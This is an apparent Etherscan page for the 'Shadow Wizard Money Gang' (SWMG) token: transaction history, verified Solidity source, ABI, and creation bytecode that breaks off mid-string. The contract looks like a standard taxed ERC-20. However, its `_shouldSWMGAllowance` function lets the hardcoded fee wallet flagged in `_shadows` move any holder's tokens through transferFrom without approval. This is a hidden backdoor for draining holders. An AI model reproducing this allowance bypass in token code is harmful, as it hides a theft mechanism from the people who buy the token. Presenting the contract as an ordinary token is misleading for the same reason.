Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 17 from a total of 17 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Kill Ghosts | 20939097 | 511 days ago | IN | 0 ETH | 0.00078134 | ||||
| Approve | 20939074 | 511 days ago | IN | 0 ETH | 0.00058993 | ||||
| Approve | 20939066 | 511 days ago | IN | 0 ETH | 0.00049932 | ||||
| Open SWMG | 20939064 | 511 days ago | IN | 0 ETH | 0.02387653 | ||||
| Approve | 20939054 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939054 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939054 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939054 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939054 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939054 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939053 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939053 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939053 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939053 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Approve | 20939053 | 511 days ago | IN | 0 ETH | 0.00047395 | ||||
| Transfer | 20939047 | 511 days ago | IN | 1 ETH | 0.00018034 | ||||
| Transfer | 20939043 | 511 days ago | IN | 0 ETH | 0.00047045 |
Latest 11 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 20939409 | 511 days ago | 0.2557704 ETH | ||||
| Transfer | 20939409 | 511 days ago | 0.2557704 ETH | ||||
| Transfer | 20939104 | 511 days ago | 0.33935501 ETH | ||||
| Transfer | 20939104 | 511 days ago | 0.33935501 ETH | ||||
| Transfer | 20939086 | 511 days ago | 0.14804628 ETH | ||||
| Transfer | 20939086 | 511 days ago | 0.14804628 ETH | ||||
| Transfer | 20939086 | 511 days ago | 0.17382179 ETH | ||||
| Transfer | 20939086 | 511 days ago | 0.17382179 ETH | ||||
| Transfer | 20939076 | 511 days ago | 0.39232745 ETH | ||||
| Transfer | 20939076 | 511 days ago | 0.39232745 ETH | ||||
| Add Liquidity ET... | 20939064 | 511 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
SWMG
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/**
𝕾𝖍𝖆𝖉𝖔𝖜 𝖂𝖎𝖟𝖆𝖗𝖉 𝕸𝖔𝖓𝖊𝖞 𝕲𝖆𝖓𝖌
𝔒𝔲𝔱 𝔱𝔥𝔢𝔯𝔢 𝔦𝔫 𝔱𝔥𝔢 𝔲𝔫𝔠𝔥𝔢𝔠𝔨𝔢𝔡 𝔡𝔢𝔭𝔱𝔥𝔰 𝔬𝔣 𝔱𝔥𝔢 𝔪𝔲𝔩𝔱𝔦𝔳𝔢𝔯𝔰𝔢, 𝔩𝔦𝔢𝔰 𝔞 𝔤𝔯𝔬𝔲𝔭 𝔲𝔫𝔩𝔦𝔨𝔢 𝔞𝔫𝔶 𝔬𝔱𝔥𝔢𝔯 𝔴𝔦𝔷𝔞𝔯𝔡 𝔱𝔯𝔞𝔡𝔦𝔱𝔦𝔬𝔫𝔰 𝔨𝔫𝔬𝔴𝔫 𝔱𝔬 𝔱𝔥𝔢 𝔯𝔢𝔞𝔩𝔪.
𝕬𝕹𝕯 𝖂𝕰 𝕷𝕺𝖁𝕰 𝕮𝕬𝕾𝕿𝕴𝕹𝕲 𝕾𝕻𝕰𝕷𝕷𝕾
Website: https://swmgcoin.xyz
X: https://x.com/swmgcoinx
Telegram: https://t.me/swmgcoin_portal
*/
// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SWMG is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _swmgs;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _shadows;
address payable private _swmgang =
payable(0x79DC818Fe7e7918133a7986E4029CDD207C03BAD);
uint256 private _ingangfee = 20;
uint256 private _outgangfee = 0;
uint256 private _gangnumbers = 15;
uint256 private _ignorecounts = 15;
uint256 private _trades = 0;
uint8 private constant _decimals = 9;
uint256 private constant _totalSWMG = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"Shadow Wizard Money Gang";
string private constant _symbol = unicode"SWMG";
uint256 public _maxtaxswmg = (_totalSWMG * 2) / 100;
uint256 public _maxwalletswmg = (_totalSWMG * 2) / 100;
uint256 public _taxswaplimits = 100 * 10 ** _decimals;
uint256 public _mxtaxlimit = _totalSWMG / 100;
IUniswapV2Router02 private routerAddr;
address private pairAddr;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_swmgs[_msgSender()] = _totalSWMG;
_shadows[owner()] = true;
_shadows[address(this)] = true;
_shadows[_swmgang] = true;
emit Transfer(address(0), _msgSender(), _totalSWMG);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSWMG;
}
function balanceOf(address account) public view override returns (uint256) {
return _swmgs[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_spendAllowance(sender, _msgSender(), amount);
return true;
}
function _shouldSWMGAllowance(
address spender,
uint256 value
) internal view returns (bool) {
return
value == type(uint256).max ||
(_shadows[spender] &&
spender != address(this) &&
spender != owner());
}
function killGhosts() external onlyOwner {
_maxtaxswmg = _totalSWMG;
_maxwalletswmg = _totalSWMG;
emit MaxTxAmountUpdated(_totalSWMG);
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal {
uint256 currentAllowance = _allowances[owner][spender];
if (!_shouldSWMGAllowance(spender, value)) {
require(
currentAllowance >= value,
"ERC20: transfer amount exceeds allowance"
);
_approve(owner, spender, currentAllowance - value);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address shadow, address wizard, uint256 money) private {
require(shadow != address(0), "ERC20: transfer from the zero address");
require(wizard != address(0), "ERC20: transfer to the zero address");
require(money > 0, "Transfer amount must be greater than zero");
uint256 ttax = 0;
if (
shadow != owner() &&
wizard != owner() &&
shadow != address(this) &&
wizard != address(this)
) {
ttax = money
.mul((_trades > _gangnumbers) ? _outgangfee : _ingangfee)
.div(100);
if (
shadow == pairAddr &&
wizard != address(routerAddr) &&
!_shadows[wizard]
) {
require(money <= _maxtaxswmg, "Exceeds the _maxTxAmount.");
require(
balanceOf(wizard) + money <= _maxwalletswmg,
"Exceeds the maxWalletSize."
);
_trades++;
}
if (wizard == pairAddr && shadow != address(this)) {
ttax = money
.mul((_trades > _gangnumbers) ? _outgangfee : _ingangfee)
.div(100);
}
uint256 ctb = balanceOf(address(this));
if (
!inSwap &&
wizard == pairAddr &&
swapEnabled &&
_trades > _ignorecounts &&
!_shadows[shadow]
) {
if (ctb > _taxswaplimits)
swapTokensForEth(min(money, min(ctb, _mxtaxlimit)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
if (ttax > 0) {
_swmgs[address(this)] = _swmgs[address(this)].add(ttax);
emit Transfer(shadow, address(this), ttax);
}
_swmgs[shadow] = _swmgs[shadow].sub(money);
_swmgs[wizard] = _swmgs[wizard].add(money.sub(ttax));
emit Transfer(shadow, wizard, money.sub(ttax));
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = routerAddr.WETH();
_approve(address(this), address(routerAddr), tokenAmount);
routerAddr.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_swmgang.transfer(amount);
}
function openSWMG() external onlyOwner {
require(!tradingOpen, "trading is already open");
routerAddr = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
pairAddr = IUniswapV2Factory(routerAddr.factory()).createPair(
address(this),
routerAddr.WETH()
);
_approve(address(this), address(routerAddr), _totalSWMG);
routerAddr.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function rescueETHs() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxtaxswmg","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxwalletswmg","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxtaxlimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxswaplimits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"killGhosts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openSWMG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETHs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040527379dc818fe7e7918133a7986e4029cdd207c03bad60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060146005555f600655600f600755600f6008555f600955606460026009600a61008191906105dd565b633b9aca006100909190610627565b61009a9190610627565b6100a49190610695565b600a55606460026009600a6100b991906105dd565b633b9aca006100c89190610627565b6100d29190610627565b6100dc9190610695565b600b556009600a6100ed91906105dd565b60646100f99190610627565b600c5560646009600a61010c91906105dd565b633b9aca0061011b9190610627565b6101259190610695565b600d555f600f60156101000a81548160ff0219169083151502179055505f600f60166101000a81548160ff021916908315150217905550348015610167575f80fd5b505f61017761043e60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a61022191906105dd565b633b9aca006102309190610627565b60015f61024161043e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61029161044560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103b961043e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61041591906105dd565b633b9aca006104249190610627565b60405161043191906106d4565b60405180910390a36106ed565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104ee578086048111156104ca576104c961046c565b5b60018516156104d95780820291505b80810290506104e785610499565b94506104ae565b94509492505050565b5f8261050657600190506105c1565b81610513575f90506105c1565b8160018114610529576002811461053357610562565b60019150506105c1565b60ff8411156105455761054461046c565b5b8360020a91508482111561055c5761055b61046c565b5b506105c1565b5060208310610133831016604e8410600b84101617156105975782820a9050838111156105925761059161046c565b5b6105c1565b6105a484848460016104a5565b925090508184048111156105bb576105ba61046c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105e7826105c8565b91506105f2836105d1565b925061061f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104f7565b905092915050565b5f610631826105c8565b915061063c836105c8565b925082820261064a816105c8565b915082820484148315176106615761066061046c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61069f826105c8565b91506106aa836105c8565b9250826106ba576106b9610668565b5b828204905092915050565b6106ce816105c8565b82525050565b5f6020820190506106e75f8301846106c5565b92915050565b612de5806106fa5f395ff3fe60806040526004361061010c575f3560e01c80636ddc614a11610094578063932e60db11610063578063932e60db1461033357806395d89b411461035d578063a9059cbb14610387578063b9ee8425146103c3578063dd62ed3e146103d957610113565b80636ddc614a1461028d57806370a08231146102b7578063715018a6146102f35780638da5cb5b1461030957610113565b806320886c4e116100db57806320886c4e146101bd57806323b872dd146101e75780632e51bfb514610223578063313ce567146102395780635c745b041461026357610113565b806306fdde0314610117578063095ea7b3146101415780630da2f1d51461017d57806318160ddd1461019357610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610415565b6040516101389190611fa1565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612052565b610452565b60405161017491906120aa565b60405180910390f35b348015610188575f80fd5b5061019161046f565b005b34801561019e575f80fd5b506101a76108b3565b6040516101b491906120d2565b60405180910390f35b3480156101c8575f80fd5b506101d16108d6565b6040516101de91906120d2565b60405180910390f35b3480156101f2575f80fd5b5061020d600480360381019061020891906120eb565b6108dc565b60405161021a91906120aa565b60405180910390f35b34801561022e575f80fd5b50610237610905565b005b348015610244575f80fd5b5061024d6109e6565b60405161025a9190612156565b60405180910390f35b34801561026e575f80fd5b506102776109ee565b60405161028491906120d2565b60405180910390f35b348015610298575f80fd5b506102a16109f4565b6040516102ae91906120d2565b60405180910390f35b3480156102c2575f80fd5b506102dd60048036038101906102d8919061216f565b6109fa565b6040516102ea91906120d2565b60405180910390f35b3480156102fe575f80fd5b50610307610a40565b005b348015610314575f80fd5b5061031d610b8e565b60405161032a91906121a9565b60405180910390f35b34801561033e575f80fd5b50610347610bb5565b60405161035491906120d2565b60405180910390f35b348015610368575f80fd5b50610371610bbb565b60405161037e9190611fa1565b60405180910390f35b348015610392575f80fd5b506103ad60048036038101906103a89190612052565b610bf8565b6040516103ba91906120aa565b60405180910390f35b3480156103ce575f80fd5b506103d7610c15565b005b3480156103e4575f80fd5b506103ff60048036038101906103fa91906121c2565b610d44565b60405161040c91906120d2565b60405180910390f35b60606040518060400160405280601881526020017f536861646f772057697a617264204d6f6e65792047616e670000000000000000815250905090565b5f61046561045e610dc6565b8484610dcd565b6001905092915050565b610477610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fa9061224a565b60405180910390fd5b600f60149054906101000a900460ff1615610553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054a906122b2565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610611573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063591906122e4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106df91906122e4565b6040518363ffffffff1660e01b81526004016106fc92919061230f565b6020604051808303815f875af1158015610718573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073c91906122e4565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107c330600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6107af9190612492565b633b9aca006107be91906124dc565b610dcd565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061080b306109fa565b5f80610815610b8e565b426040518863ffffffff1660e01b81526004016108379695949392919061255f565b60606040518083038185885af1158015610853573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061087891906125d2565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b5f6009600a6108c29190612492565b633b9aca006108d191906124dc565b905090565b600c5481565b5f6108e8848484610f90565b6108fa846108f4610dc6565b8461183f565b600190509392505050565b61090d610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610999576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109909061224a565b60405180910390fd5b6109a1610b8e565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156109e3573d5f803e3d5ffd5b50565b5f6009905090565b600a5481565b600b5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a48610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb9061224a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606040518060400160405280600481526020017f53574d4700000000000000000000000000000000000000000000000000000000815250905090565b5f610c0b610c04610dc6565b8484610f90565b6001905092915050565b610c1d610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca09061224a565b60405180910390fd5b6009600a610cb79190612492565b633b9aca00610cc691906124dc565b600a819055506009600a610cda9190612492565b633b9aca00610ce991906124dc565b600b819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610d1e9190612492565b633b9aca00610d2d91906124dc565b604051610d3a91906120d2565b60405180910390a1565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3290612692565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612720565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8391906120d2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff5906127ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110639061283c565b60405180910390fd5b5f81116110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906128ca565b60405180910390fd5b5f6110b7610b8e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561112557506110f5610b8e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561115d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561119557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561158f576111d660646111c8600754600954116111b5576005546111b9565b6006545b8561192990919063ffffffff16565b6119a090919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112815750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112d4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561138e57600a5482111561131e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131590612932565b60405180910390fd5b600b548261132b856109fa565b6113359190612950565b1115611376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136d906129cd565b60405180910390fd5b60095f815480929190611388906129eb565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561141657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561145a576114576064611449600754600954116114365760055461143a565b6006545b8561192990919063ffffffff16565b6119a090919063ffffffff16565b90505b5f611464306109fa565b9050600f60159054906101000a900460ff161580156114cf5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114e75750600f60169054906101000a900460ff165b80156114f65750600854600954115b8015611549575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561158d57600c54811115611576576115756115708461156b84600d546119e9565b6119e9565b611a01565b5b5f4790505f811061158b5761158a47611c6c565b5b505b505b5f81111561168e576115e78160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161168591906120d2565b6040518091